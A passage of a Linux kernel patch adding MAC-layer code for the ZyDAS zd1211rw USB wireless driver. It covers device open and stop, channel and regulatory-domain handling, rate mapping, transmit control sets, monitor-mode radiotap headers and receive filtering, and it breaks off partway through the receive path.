spin_lock_irq(&mac->lock); + mac->regdomain = mac->default_regdomain = default_regdomain; + spin_unlock_irq(&mac->lock); + r = reset_channel(mac); + if (r) + goto disable_int; + + /* We must inform the device that we are doing encryption/decryption in + * software at the moment. */ + r = zd_set_encryption_type(chip, ENC_SNIFFER); + if (r) + goto disable_int; + + r = zd_geo_init(zd_mac_to_ieee80211(mac), mac->regdomain); + if (r) + goto disable_int; + + r = 0; +disable_int: + zd_chip_disable_int(chip); +out: + return r; +} + +void zd_mac_clear(struct zd_mac *mac) +{ + flush_workqueue(zd_workqueue); + skb_queue_purge(&mac->rx_queue); + tasklet_kill(&mac->rx_tasklet); + zd_chip_clear(&mac->chip); + ZD_ASSERT(!spin_is_locked(&mac->lock)); + ZD_MEMCLEAR(mac, sizeof(struct zd_mac)); +} + +static int reset_mode(struct zd_mac *mac) +{ + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + u32 filter = (ieee->iw_mode == IW_MODE_MONITOR) ? ~0 : STA_RX_FILTER; + return zd_iowrite32(&mac->chip, CR_RX_FILTER, filter); +} + +int zd_mac_open(struct net_device *netdev) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + int r; + + tasklet_enable(&mac->rx_tasklet); + + r = zd_chip_enable_int(chip); + if (r < 0) + goto out; + + r = zd_chip_set_basic_rates(chip, CR_RATES_80211B | CR_RATES_80211G); + if (r < 0) + goto disable_int; + r = reset_mode(mac); + if (r) + goto disable_int; + r = zd_chip_switch_radio_on(chip); + if (r < 0) + goto disable_int; + r = zd_chip_set_channel(chip, mac->requested_channel); + if (r < 0) + goto disable_radio; + r = zd_chip_enable_rx(chip); + if (r < 0) + goto disable_radio; + r = zd_chip_enable_hwint(chip); + if (r < 0) + goto disable_rx; + + housekeeping_enable(mac); + netif_carrier_on(netdev); + ieee80211softmac_start(netdev); + if(!netif_queue_stopped(netdev)) + netif_start_queue(netdev); + else + netif_wake_queue(netdev); + + return 0; +disable_rx: + zd_chip_disable_rx(chip); +disable_radio: + zd_chip_switch_radio_off(chip); +disable_int: + zd_chip_disable_int(chip); +out: + return r; +} + +int zd_mac_stop(struct net_device *netdev) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + + netif_stop_queue(netdev); + + /* + * The order here deliberately is a little different from the open() + * method, since we need to make sure there is no opportunity for RX + * frames to be processed by softmac after we have stopped it. + */ + + zd_chip_disable_rx(chip); + skb_queue_purge(&mac->rx_queue); + tasklet_disable(&mac->rx_tasklet); + housekeeping_disable(mac); + ieee80211softmac_stop(netdev); + + /* Ensure no work items are running or queued from this point */ + cancel_delayed_work(&mac->set_rts_cts_work); + cancel_delayed_work(&mac->set_basic_rates_work); + flush_workqueue(zd_workqueue); + mac->updating_rts_rate = 0; + mac->updating_basic_rates = 0; + + zd_chip_disable_hwint(chip); + zd_chip_switch_radio_off(chip); + zd_chip_disable_int(chip); + + return 0; +} + +int zd_mac_set_mac_address(struct net_device *netdev, void *p) +{ + int r; + unsigned long flags; + struct sockaddr *addr = p; + struct zd_mac *mac = zd_netdev_mac(netdev); + struct zd_chip *chip = &mac->chip; + + if (!is_valid_ether_addr(addr->sa_data)) + return -EADDRNOTAVAIL; + + dev_dbg_f(zd_mac_dev(mac), + "Setting MAC to " MAC_FMT "\n", MAC_ARG(addr->sa_data)); + + r = zd_write_mac_addr(chip, addr->sa_data); + if (r) + return r; + + spin_lock_irqsave(&mac->lock, flags); + memcpy(netdev->dev_addr, addr->sa_data, ETH_ALEN); + spin_unlock_irqrestore(&mac->lock, flags); + + return 0; +} + +static void set_multicast_hash_handler(struct work_struct *work) +{ + struct zd_mac *mac = container_of(work, struct zd_mac, + set_multicast_hash_work); + struct zd_mc_hash hash; + + spin_lock_irq(&mac->lock); + hash = mac->multicast_hash; + spin_unlock_irq(&mac->lock); + + zd_chip_set_multicast_hash(&mac->chip, &hash); +} + +void zd_mac_set_multicast_list(struct net_device *dev) +{ + struct zd_mc_hash hash; + struct zd_mac *mac = zd_netdev_mac(dev); + struct dev_mc_list *mc; + unsigned long flags; + + if (dev->flags & (IFF_PROMISC|IFF_ALLMULTI)) { + zd_mc_add_all(&hash); + } else { + zd_mc_clear(&hash); + for (mc = dev->mc_list; mc; mc = mc->next) { + dev_dbg_f(zd_mac_dev(mac), "mc addr " MAC_FMT "\n", + MAC_ARG(mc->dmi_addr)); + zd_mc_add_addr(&hash, mc->dmi_addr); + } + } + + spin_lock_irqsave(&mac->lock, flags); + mac->multicast_hash = hash; + spin_unlock_irqrestore(&mac->lock, flags); + queue_work(zd_workqueue, &mac->set_multicast_hash_work); +} + +int zd_mac_set_regdomain(struct zd_mac *mac, u8 regdomain) +{ + int r; + u8 channel; + + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + if (regdomain == 0) { + regdomain = mac->default_regdomain; + } + if (!zd_regdomain_supported(regdomain)) { + spin_unlock_irq(&mac->lock); + return -EINVAL; + } + mac->regdomain = regdomain; + channel = mac->requested_channel; + spin_unlock_irq(&mac->lock); + + r = zd_geo_init(zd_mac_to_ieee80211(mac), regdomain); + if (r) + return r; + if (!zd_regdomain_supports_channel(regdomain, channel)) { + r = reset_channel(mac); + if (r) + return r; + } + + return 0; +} + +u8 zd_mac_get_regdomain(struct zd_mac *mac) +{ + unsigned long flags; + u8 regdomain; + + spin_lock_irqsave(&mac->lock, flags); + regdomain = mac->regdomain; + spin_unlock_irqrestore(&mac->lock, flags); + return regdomain; +} + +/* Fallback to lowest rate, if rate is unknown. */ +static u8 rate_to_zd_rate(u8 rate) +{ + switch (rate) { + case IEEE80211_CCK_RATE_2MB: + return ZD_CCK_RATE_2M; + case IEEE80211_CCK_RATE_5MB: + return ZD_CCK_RATE_5_5M; + case IEEE80211_CCK_RATE_11MB: + return ZD_CCK_RATE_11M; + case IEEE80211_OFDM_RATE_6MB: + return ZD_OFDM_RATE_6M; + case IEEE80211_OFDM_RATE_9MB: + return ZD_OFDM_RATE_9M; + case IEEE80211_OFDM_RATE_12MB: + return ZD_OFDM_RATE_12M; + case IEEE80211_OFDM_RATE_18MB: + return ZD_OFDM_RATE_18M; + case IEEE80211_OFDM_RATE_24MB: + return ZD_OFDM_RATE_24M; + case IEEE80211_OFDM_RATE_36MB: + return ZD_OFDM_RATE_36M; + case IEEE80211_OFDM_RATE_48MB: + return ZD_OFDM_RATE_48M; + case IEEE80211_OFDM_RATE_54MB: + return ZD_OFDM_RATE_54M; + } + return ZD_CCK_RATE_1M; +} + +static u16 rate_to_cr_rate(u8 rate) +{ + switch (rate) { + case IEEE80211_CCK_RATE_2MB: + return CR_RATE_1M; + case IEEE80211_CCK_RATE_5MB: + return CR_RATE_5_5M; + case IEEE80211_CCK_RATE_11MB: + return CR_RATE_11M; + case IEEE80211_OFDM_RATE_6MB: + return CR_RATE_6M; + case IEEE80211_OFDM_RATE_9MB: + return CR_RATE_9M; + case IEEE80211_OFDM_RATE_12MB: + return CR_RATE_12M; + case IEEE80211_OFDM_RATE_18MB: + return CR_RATE_18M; + case IEEE80211_OFDM_RATE_24MB: + return CR_RATE_24M; + case IEEE80211_OFDM_RATE_36MB: + return CR_RATE_36M; + case IEEE80211_OFDM_RATE_48MB: + return CR_RATE_48M; + case IEEE80211_OFDM_RATE_54MB: + return CR_RATE_54M; + } + return CR_RATE_1M; +} + +static void try_enable_tx(struct zd_mac *mac) +{ + unsigned long flags; + + spin_lock_irqsave(&mac->lock, flags); + if (mac->updating_rts_rate == 0 && mac->updating_basic_rates == 0) + netif_wake_queue(mac->netdev); + spin_unlock_irqrestore(&mac->lock, flags); +} + +static void set_rts_cts_work(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, set_rts_cts_work.work); + unsigned long flags; + u8 rts_rate; + unsigned int short_preamble; + + mutex_lock(&mac->chip.mutex); + + spin_lock_irqsave(&mac->lock, flags); + mac->updating_rts_rate = 0; + rts_rate = mac->rts_rate; + short_preamble = mac->short_preamble; + spin_unlock_irqrestore(&mac->lock, flags); + + zd_chip_set_rts_cts_rate_locked(&mac->chip, rts_rate, short_preamble); + mutex_unlock(&mac->chip.mutex); + + try_enable_tx(mac); +} + +static void set_basic_rates_work(struct work_struct *work) +{ + struct zd_mac *mac = + container_of(work, struct zd_mac, set_basic_rates_work.work); + unsigned long flags; + u16 basic_rates; + + mutex_lock(&mac->chip.mutex); + + spin_lock_irqsave(&mac->lock, flags); + mac->updating_basic_rates = 0; + basic_rates = mac->basic_rates; + spin_unlock_irqrestore(&mac->lock, flags); + + zd_chip_set_basic_rates_locked(&mac->chip, basic_rates); + mutex_unlock(&mac->chip.mutex); + + try_enable_tx(mac); +} + +static void bssinfo_change(struct net_device *netdev, u32 changes) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + struct ieee80211softmac_device *softmac = ieee80211_priv(netdev); + struct ieee80211softmac_bss_info *bssinfo = &softmac->bssinfo; + int need_set_rts_cts = 0; + int need_set_rates = 0; + u16 basic_rates; + unsigned long flags; + + dev_dbg_f(zd_mac_dev(mac), "changes: %x\n", changes); + + if (changes & IEEE80211SOFTMAC_BSSINFOCHG_SHORT_PREAMBLE) { + spin_lock_irqsave(&mac->lock, flags); + mac->short_preamble = bssinfo->short_preamble; + spin_unlock_irqrestore(&mac->lock, flags); + need_set_rts_cts = 1; + } + + if (changes & IEEE80211SOFTMAC_BSSINFOCHG_RATES) { + /* Set RTS rate to highest available basic rate */ + u8 hi_rate = ieee80211softmac_highest_supported_rate(softmac, + &bssinfo->supported_rates, 1); + hi_rate = rate_to_zd_rate(hi_rate); + + spin_lock_irqsave(&mac->lock, flags); + if (hi_rate != mac->rts_rate) { + mac->rts_rate = hi_rate; + need_set_rts_cts = 1; + } + spin_unlock_irqrestore(&mac->lock, flags); + + /* Set basic rates */ + need_set_rates = 1; + if (bssinfo->supported_rates.count == 0) { + /* Allow the device to be flexible */ + basic_rates = CR_RATES_80211B | CR_RATES_80211G; + } else { + int i = 0; + basic_rates = 0; + + for (i = 0; i < bssinfo->supported_rates.count; i++) { + u16 rate = bssinfo->supported_rates.rates[i]; + if ((rate & IEEE80211_BASIC_RATE_MASK) == 0) + continue; + + rate &= ~IEEE80211_BASIC_RATE_MASK; + basic_rates |= rate_to_cr_rate(rate); + } + } + spin_lock_irqsave(&mac->lock, flags); + mac->basic_rates = basic_rates; + spin_unlock_irqrestore(&mac->lock, flags); + } + + /* Schedule any changes we made above */ + + spin_lock_irqsave(&mac->lock, flags); + if (need_set_rts_cts && !mac->updating_rts_rate) { + mac->updating_rts_rate = 1; + netif_stop_queue(mac->netdev); + queue_delayed_work(zd_workqueue, &mac->set_rts_cts_work, 0); + } + if (need_set_rates && !mac->updating_basic_rates) { + mac->updating_basic_rates = 1; + netif_stop_queue(mac->netdev); + queue_delayed_work(zd_workqueue, &mac->set_basic_rates_work, + 0); + } + spin_unlock_irqrestore(&mac->lock, flags); +} + +static void set_channel(struct net_device *netdev, u8 channel) +{ + struct zd_mac *mac = zd_netdev_mac(netdev); + + dev_dbg_f(zd_mac_dev(mac), "channel %d\n", channel); + + zd_chip_set_channel(&mac->chip, channel); +} + +int zd_mac_request_channel(struct zd_mac *mac, u8 channel) +{ + unsigned long lock_flags; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + + if (ieee->iw_mode == IW_MODE_INFRA) + return -EPERM; + + spin_lock_irqsave(&mac->lock, lock_flags); + if (!zd_regdomain_supports_channel(mac->regdomain, channel)) { + spin_unlock_irqrestore(&mac->lock, lock_flags); + return -EINVAL; + } + mac->requested_channel = channel; + spin_unlock_irqrestore(&mac->lock, lock_flags); + if (netif_running(mac->netdev)) + return zd_chip_set_channel(&mac->chip, channel); + else + return 0; +} + +u8 zd_mac_get_channel(struct zd_mac *mac) +{ + u8 channel = zd_chip_get_channel(&mac->chip); + + dev_dbg_f(zd_mac_dev(mac), "channel %u\n", channel); + return channel; +} + +/* If wrong rate is given, we are falling back to the slowest rate: 1MBit/s */ +static u8 zd_rate_typed(u8 zd_rate) +{ + static const u8 typed_rates[16] = { + [ZD_CCK_RATE_1M] = ZD_CS_CCK|ZD_CCK_RATE_1M, + [ZD_CCK_RATE_2M] = ZD_CS_CCK|ZD_CCK_RATE_2M, + [ZD_CCK_RATE_5_5M] = ZD_CS_CCK|ZD_CCK_RATE_5_5M, + [ZD_CCK_RATE_11M] = ZD_CS_CCK|ZD_CCK_RATE_11M, + [ZD_OFDM_RATE_6M] = ZD_CS_OFDM|ZD_OFDM_RATE_6M, + [ZD_OFDM_RATE_9M] = ZD_CS_OFDM|ZD_OFDM_RATE_9M, + [ZD_OFDM_RATE_12M] = ZD_CS_OFDM|ZD_OFDM_RATE_12M, + [ZD_OFDM_RATE_18M] = ZD_CS_OFDM|ZD_OFDM_RATE_18M, + [ZD_OFDM_RATE_24M] = ZD_CS_OFDM|ZD_OFDM_RATE_24M, + [ZD_OFDM_RATE_36M] = ZD_CS_OFDM|ZD_OFDM_RATE_36M, + [ZD_OFDM_RATE_48M] = ZD_CS_OFDM|ZD_OFDM_RATE_48M, + [ZD_OFDM_RATE_54M] = ZD_CS_OFDM|ZD_OFDM_RATE_54M, + }; + + ZD_ASSERT(ZD_CS_RATE_MASK == 0x0f); + return typed_rates[zd_rate & ZD_CS_RATE_MASK]; +} + +int zd_mac_set_mode(struct zd_mac *mac, u32 mode) +{ + struct ieee80211_device *ieee; + + switch (mode) { + case IW_MODE_AUTO: + case IW_MODE_ADHOC: + case IW_MODE_INFRA: + mac->netdev->type = ARPHRD_ETHER; + break; + case IW_MODE_MONITOR: + mac->netdev->type = ARPHRD_IEEE80211_RADIOTAP; + break; + default: + dev_dbg_f(zd_mac_dev(mac), "wrong mode %u\n", mode); + return -EINVAL; + } + + ieee = zd_mac_to_ieee80211(mac); + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&ieee->lock); + ieee->iw_mode = mode; + spin_unlock_irq(&ieee->lock); + + if (netif_running(mac->netdev)) + return reset_mode(mac); + + return 0; +} + +int zd_mac_get_mode(struct zd_mac *mac, u32 *mode) +{ + unsigned long flags; + struct ieee80211_device *ieee; + + ieee = zd_mac_to_ieee80211(mac); + spin_lock_irqsave(&ieee->lock, flags); + *mode = ieee->iw_mode; + spin_unlock_irqrestore(&ieee->lock, flags); + return 0; +} + +int zd_mac_get_range(struct zd_mac *mac, struct iw_range *range) +{ + int i; + const struct channel_range *channel_range; + u8 regdomain; + + memset(range, 0, sizeof(*range)); + + /* FIXME: Not so important and depends on the mode. For 802.11g + * usually this value is used. It seems to be that Bit/s number is + * given here. + */ + range->throughput = 27 * 1000 * 1000; + + range->max_qual.qual = 100; + range->max_qual.level = 100; + + /* FIXME: Needs still to be tuned. */ + range->avg_qual.qual = 71; + range->avg_qual.level = 80; + + /* FIXME: depends on standard? */ + range->min_rts = 256; + range->max_rts = 2346; + + range->min_frag = MIN_FRAG_THRESHOLD; + range->max_frag = MAX_FRAG_THRESHOLD; + + range->max_encoding_tokens = WEP_KEYS; + range->num_encoding_sizes = 2; + range->encoding_size[0] = 5; + range->encoding_size[1] = WEP_KEY_LEN; + + range->we_version_compiled = WIRELESS_EXT; + range->we_version_source = 20; + + range->enc_capa = IW_ENC_CAPA_WPA | IW_ENC_CAPA_WPA2 | + IW_ENC_CAPA_CIPHER_TKIP | IW_ENC_CAPA_CIPHER_CCMP; + + ZD_ASSERT(!irqs_disabled()); + spin_lock_irq(&mac->lock); + regdomain = mac->regdomain; + spin_unlock_irq(&mac->lock); + channel_range = zd_channel_range(regdomain); + + range->num_channels = channel_range->end - channel_range->start; + range->old_num_channels = range->num_channels; + range->num_frequency = range->num_channels; + range->old_num_frequency = range->num_frequency; + + for (i = 0; i < range->num_frequency; i++) { + struct iw_freq *freq = &range->freq[i]; + freq->i = channel_range->start + i; + zd_channel_to_freq(freq, freq->i); + } + + return 0; +} + +static int zd_calc_tx_length_us(u8 *service, u8 zd_rate, u16 tx_length) +{ + static const u8 rate_divisor[] = { + [ZD_CCK_RATE_1M] = 1, + [ZD_CCK_RATE_2M] = 2, + [ZD_CCK_RATE_5_5M] = 11, /* bits must be doubled */ + [ZD_CCK_RATE_11M] = 11, + [ZD_OFDM_RATE_6M] = 6, + [ZD_OFDM_RATE_9M] = 9, + [ZD_OFDM_RATE_12M] = 12, + [ZD_OFDM_RATE_18M] = 18, + [ZD_OFDM_RATE_24M] = 24, + [ZD_OFDM_RATE_36M] = 36, + [ZD_OFDM_RATE_48M] = 48, + [ZD_OFDM_RATE_54M] = 54, + }; + + u32 bits = (u32)tx_length * 8; + u32 divisor; + + divisor = rate_divisor[zd_rate]; + if (divisor == 0) + return -EINVAL; + + switch (zd_rate) { + case ZD_CCK_RATE_5_5M: + bits = (2*bits) + 10; /* round up to the next integer */ + break; + case ZD_CCK_RATE_11M: + if (service) { + u32 t = bits % 11; + *service &= ~ZD_PLCP_SERVICE_LENGTH_EXTENSION; + if (0 < t && t <= 3) { + *service |= ZD_PLCP_SERVICE_LENGTH_EXTENSION; + } + } + bits += 10; /* round up to the next integer */ + break; + } + + return bits/divisor; +} + +enum { + R2M_SHORT_PREAMBLE = 0x01, + R2M_11A = 0x02, +}; + +static u8 zd_rate_to_modulation(u8 zd_rate, int flags) +{ + u8 modulation; + + modulation = zd_rate_typed(zd_rate); + if (flags & R2M_SHORT_PREAMBLE) { + switch (ZD_CS_RATE(modulation)) { + case ZD_CCK_RATE_2M: + case ZD_CCK_RATE_5_5M: + case ZD_CCK_RATE_11M: + modulation |= ZD_CS_CCK_PREA_SHORT; + return modulation; + } + } + if (flags & R2M_11A) { + if (ZD_CS_TYPE(modulation) == ZD_CS_OFDM) + modulation |= ZD_CS_OFDM_MODE_11A; + } + return modulation; +} + +static void cs_set_modulation(struct zd_mac *mac, struct zd_ctrlset *cs, + struct ieee80211_hdr_4addr *hdr) +{ + struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + u16 ftype = WLAN_FC_GET_TYPE(le16_to_cpu(hdr->frame_ctl)); + u8 rate, zd_rate; + int is_mgt = (ftype == IEEE80211_FTYPE_MGMT) != 0; + int is_multicast = is_multicast_ether_addr(hdr->addr1); + int short_preamble = ieee80211softmac_short_preamble_ok(softmac, + is_multicast, is_mgt); + int flags = 0; + + /* FIXME: 802.11a? */ + rate = ieee80211softmac_suggest_txrate(softmac, is_multicast, is_mgt); + + if (short_preamble) + flags |= R2M_SHORT_PREAMBLE; + + zd_rate = rate_to_zd_rate(rate); + cs->modulation = zd_rate_to_modulation(zd_rate, flags); +} + +static void cs_set_control(struct zd_mac *mac, struct zd_ctrlset *cs, + struct ieee80211_hdr_4addr *header) +{ + struct ieee80211softmac_device *softmac = ieee80211_priv(mac->netdev); + unsigned int tx_length = le16_to_cpu(cs->tx_length); + u16 fctl = le16_to_cpu(header->frame_ctl); + u16 ftype = WLAN_FC_GET_TYPE(fctl); + u16 stype = WLAN_FC_GET_STYPE(fctl); + + /* + * CONTROL TODO: + * - if backoff needed, enable bit 0 + * - if burst (backoff not needed) disable bit 0 + */ + + cs->control = 0; + + /* First fragment */ + if (WLAN_GET_SEQ_FRAG(le16_to_cpu(header->seq_ctl)) == 0) + cs->control |= ZD_CS_NEED_RANDOM_BACKOFF; + + /* Multicast */ + if (is_multicast_ether_addr(header->addr1)) + cs->control |= ZD_CS_MULTICAST; + + /* PS-POLL */ + if (stype == IEEE80211_STYPE_PSPOLL) + cs->control |= ZD_CS_PS_POLL_FRAME; + + /* Unicast data frames over the threshold should have RTS */ + if (!is_multicast_ether_addr(header->addr1) && + ftype != IEEE80211_FTYPE_MGMT && + tx_length > zd_netdev_ieee80211(mac->netdev)->rts) + cs->control |= ZD_CS_RTS; + + /* Use CTS-to-self protection if required */ + if (ZD_CS_TYPE(cs->modulation) == ZD_CS_OFDM && + ieee80211softmac_protection_needed(softmac)) { + /* FIXME: avoid sending RTS *and* self-CTS, is that correct? */ + cs->control &= ~ZD_CS_RTS; + cs->control |= ZD_CS_SELF_CTS; + } + + /* FIXME: Management frame? */ +} + +static int fill_ctrlset(struct zd_mac *mac, + struct ieee80211_txb *txb, + int frag_num) +{ + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + int r; + struct sk_buff *skb = txb->fragments[frag_num]; + struct ieee80211_hdr_4addr *hdr = + (struct ieee80211_hdr_4addr *) skb->data; + unsigned int frag_len = skb->len + IEEE80211_FCS_LEN; + unsigned int next_frag_len; + unsigned int packet_length; + struct zd_ctrlset *cs = (struct zd_ctrlset *) + skb_push(skb, sizeof(struct zd_ctrlset)); + + if (frag_num+1 < txb->nr_frags) { + next_frag_len = txb->fragments[frag_num+1]->len + + IEEE80211_FCS_LEN; + } else { + next_frag_len = 0; + } + ZD_ASSERT(frag_len <= 0xffff); + ZD_ASSERT(next_frag_len <= 0xffff); + + cs_set_modulation(mac, cs, hdr); + + cs->tx_length = cpu_to_le16(frag_len); + + if(ieee->iw_mode == IW_MODE_MONITOR) + cs->control = ZD_CS_MULTICAST; + else + cs_set_control(mac, cs, hdr); + + packet_length = frag_len + sizeof(struct zd_ctrlset) + 10; + ZD_ASSERT(packet_length <= 0xffff); + /* ZD1211B: Computing the length difference this way, gives us + * flexibility to compute the packet length. + */ + cs->packet_length = cpu_to_le16(mac->chip.is_zd1211b ? + packet_length - frag_len : packet_length); + + /* + * CURRENT LENGTH: + * - transmit frame length in microseconds + * - seems to be derived from frame length + * - see Cal_Us_Service() in zdinlinef.h + * - if macp->bTxBurstEnable is enabled, then multiply by 4 + * - bTxBurstEnable is never set in the vendor driver + * + * SERVICE: + * - "for PLCP configuration" + * - always 0 except in some situations at 802.11b 11M + * - see line 53 of zdinlinef.h + */ + cs->service = 0; + r = zd_calc_tx_length_us(&cs->service, ZD_CS_RATE(cs->modulation), + le16_to_cpu(cs->tx_length)); + if (r < 0) + return r; + cs->current_length = cpu_to_le16(r); + + if (next_frag_len == 0) { + cs->next_frame_length = 0; + } else { + r = zd_calc_tx_length_us(NULL, ZD_CS_RATE(cs->modulation), + next_frag_len); + if (r < 0) + return r; + cs->next_frame_length = cpu_to_le16(r); + } + + return 0; +} + +static int zd_mac_tx(struct zd_mac *mac, struct ieee80211_txb *txb, int pri) +{ + int i, r; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + + for (i = 0; i < txb->nr_frags; i++) { + struct sk_buff *skb = txb->fragments[i]; + + r = fill_ctrlset(mac, txb, i); + if (r) { + ieee->stats.tx_dropped++; + return r; + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + r = zd_usb_tx_inject(&mac->chip.usb, skb->data, skb->len); + else + r = zd_usb_tx(&mac->chip.usb, skb->data, skb->len); + if (r) { + ieee->stats.tx_dropped++; + return r; + } + } + + /* FIXME: shouldn't this be handled by the upper layers? */ + mac->netdev->trans_start = jiffies; + + ieee80211_txb_free(txb); + return 0; +} + +struct zd_rt_hdr { + struct ieee80211_radiotap_header rt_hdr; + u8 rt_flags; + u8 rt_rate; + u16 rt_channel; + u16 rt_chbitmask; + u8 rt_antsignal; + u8 rt_antnoise; +} __attribute__((packed)); + +static void fill_rt_header(void *buffer, struct zd_mac *mac, + const struct ieee80211_rx_stats *stats, + const struct rx_status *status) +{ + struct zd_rt_hdr *hdr = buffer; + + hdr->rt_hdr.it_version = PKTHDR_RADIOTAP_VERSION; + hdr->rt_hdr.it_pad = 0; + hdr->rt_hdr.it_len = cpu_to_le16(sizeof(struct zd_rt_hdr)); + hdr->rt_hdr.it_present = cpu_to_le32((1 << IEEE80211_RADIOTAP_FLAGS) | + (1 << IEEE80211_RADIOTAP_CHANNEL) | + (1 << IEEE80211_RADIOTAP_RATE) | + (1 << IEEE80211_RADIOTAP_DBM_ANTSIGNAL) | + (1 << IEEE80211_RADIOTAP_DBM_ANTNOISE)); + + hdr->rt_flags = 0; + if (status->decryption_type & (ZD_RX_WEP64|ZD_RX_WEP128|ZD_RX_WEP256)) + hdr->rt_flags |= IEEE80211_RADIOTAP_F_WEP; + + hdr->rt_rate = stats->rate / 5; + + /* FIXME: 802.11a */ + hdr->rt_channel = cpu_to_le16(ieee80211chan2mhz( + _zd_chip_get_channel(&mac->chip))); + hdr->rt_chbitmask = cpu_to_le16(IEEE80211_CHAN_2GHZ | + ((status->frame_status & ZD_RX_FRAME_MODULATION_MASK) == + ZD_RX_OFDM ? IEEE80211_CHAN_OFDM : IEEE80211_CHAN_CCK)); + + hdr->rt_antsignal = status->signal_strength; + hdr->rt_antnoise = stats->noise; +} + +/* Returns 1 if the data packet is for us and 0 otherwise. */ +static int is_data_packet_for_us(struct ieee80211_device *ieee, + struct ieee80211_hdr_4addr *hdr) +{ + struct net_device *netdev = ieee->dev; + u16 fc = le16_to_cpu(hdr->frame_ctl); + + ZD_ASSERT(WLAN_FC_GET_TYPE(fc) == IEEE80211_FTYPE_DATA); + + switch (ieee->iw_mode) { + case IW_MODE_ADHOC: + if ((fc & (IEEE80211_FCTL_TODS|IEEE80211_FCTL_FROMDS)) != 0 || + compare_ether_addr(hdr->addr3, ieee->bssid) != 0) + return 0; + break; + case IW_MODE_AUTO: + case IW_MODE_INFRA: + if ((fc & (IEEE80211_FCTL_TODS|IEEE80211_FCTL_FROMDS)) != + IEEE80211_FCTL_FROMDS || + compare_ether_addr(hdr->addr2, ieee->bssid) != 0) + return 0; + break; + default: + ZD_ASSERT(ieee->iw_mode != IW_MODE_MONITOR); + return 0; + } + + return compare_ether_addr(hdr->addr1, netdev->dev_addr) == 0 || + (is_multicast_ether_addr(hdr->addr1) && + compare_ether_addr(hdr->addr3, netdev->dev_addr) != 0) || + (netdev->flags & IFF_PROMISC); +} + +/* Filters received packets. The function returns 1 if the packet should be + * forwarded to ieee80211_rx(). If the packet should be ignored the function + * returns 0. If an invalid packet is found the function returns -EINVAL. + * + * The function calls ieee80211_rx_mgt() directly. + * + * It has been based on ieee80211_rx_any. + */ +static int filter_rx(struct ieee80211_device *ieee, + const u8 *buffer, unsigned int length, + struct ieee80211_rx_stats *stats) +{ + struct ieee80211_hdr_4addr *hdr; + u16 fc; + + if (ieee->iw_mode == IW_MODE_MONITOR) + return 1; + + hdr = (struct ieee80211_hdr_4addr *)buffer; + fc = le16_to_cpu(hdr->frame_ctl); + if ((fc & IEEE80211_FCTL_VERS) != 0) + return -EINVAL; + + switch (WLAN_FC_GET_TYPE(fc)) { + case IEEE80211_FTYPE_MGMT: + if (length < sizeof(struct ieee80211_hdr_3addr)) + return -EINVAL; + ieee80211_rx_mgt(ieee, hdr, stats); + return 0; + case IEEE80211_FTYPE_CTL: + return 0; + case IEEE80211_FTYPE_DATA: + /* Ignore invalid short buffers */ + if (length < sizeof(struct ieee80211_hdr_3addr)) + return -EINVAL; + return is_data_packet_for_us(ieee, hdr); + } + + return -EINVAL; +} + +static void update_qual_rssi(struct zd_mac *mac, + const u8 *buffer, unsigned int length, + u8 qual_percent, u8 rssi_percent) +{ + unsigned long flags; + struct ieee80211_hdr_3addr *hdr; + int i; + + hdr = (struct ieee80211_hdr_3addr *)buffer; + if (length < offsetof(struct ieee80211_hdr_3addr, addr3)) + return; + if (compare_ether_addr(hdr->addr2, zd_mac_to_ieee80211(mac)->bssid) != 0) + return; + + spin_lock_irqsave(&mac->lock, flags); + i = mac->stats_count % ZD_MAC_STATS_BUFFER_SIZE; + mac->qual_buffer[i] = qual_percent; + mac->rssi_buffer[i] = rssi_percent; + mac->stats_count++; + spin_unlock_irqrestore(&mac->lock, flags); +} + +static int fill_rx_stats(struct ieee80211_rx_stats *stats, + const struct rx_status **pstatus, + struct zd_mac *mac, + const u8 *buffer, unsigned int length) +{ + const struct rx_status *status; + + *pstatus = status = zd_tail(buffer, length, sizeof(struct rx_status)); + if (status->frame_status & ZD_RX_ERROR + || status->frame_status & ~0x21) { + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + ieee->stats.rx_errors++; + if (status->frame_status & ZD_RX_TIMEOUT_ERROR) + ieee->stats.rx_missed_errors++; + else if (status->frame_status & ZD_RX_FIFO_OVERRUN_ERROR) + ieee->stats.rx_fifo_errors++; + else if (status->frame_status & ZD_RX_DECRYPTION_ERROR) + ieee->ieee_stats.rx_discards_undecryptable++; + else if (status->frame_status & ZD_RX_CRC32_ERROR) { + ieee->stats.rx_crc_errors++; + ieee->ieee_stats.rx_fcs_errors++; + } + else if (status->frame_status & ZD_RX_CRC16_ERROR) + ieee->stats.rx_crc_errors++; + return -EINVAL; + } + + memset(stats, 0, sizeof(struct ieee80211_rx_stats)); + stats->len = length - (ZD_PLCP_HEADER_SIZE + IEEE80211_FCS_LEN + + + sizeof(struct rx_status)); + /* FIXME: 802.11a */ + stats->freq = IEEE80211_24GHZ_BAND; + stats->received_channel = _zd_chip_get_channel(&mac->chip); + stats->rssi = zd_rx_strength_percent(status->signal_strength); + stats->signal = zd_rx_qual_percent(buffer, + length - sizeof(struct rx_status), + status); + stats->mask = IEEE80211_STATMASK_RSSI | IEEE80211_STATMASK_SIGNAL; + stats->rate = zd_rx_rate(buffer, status); + if (stats->rate) + stats->mask |= IEEE80211_STATMASK_RATE; + + return 0; +} + +static void zd_mac_rx(struct zd_mac *mac, struct sk_buff *skb) +{ + int r; + struct ieee80211_device *ieee = zd_mac_to_ieee80211(mac); + struct ieee80211_rx_stats stats; + const struct rx_status *status; + + if (skb->len < ZD_PLCP_HEADER_SIZE + IEEE80211_1ADDR_LEN + + IEEE80211_FCS_LEN + sizeof(struct rx_status)) + { + ieee->stats.rx_errors++; + ieee->stats.rx_length_errors++; + goto free_skb; + } + + r = fill_rx_stats(&stats, &status, mac, skb->data, skb->len); + if (r) { + /* Only packets with rx errors are included here. + * The error stats have already been set in 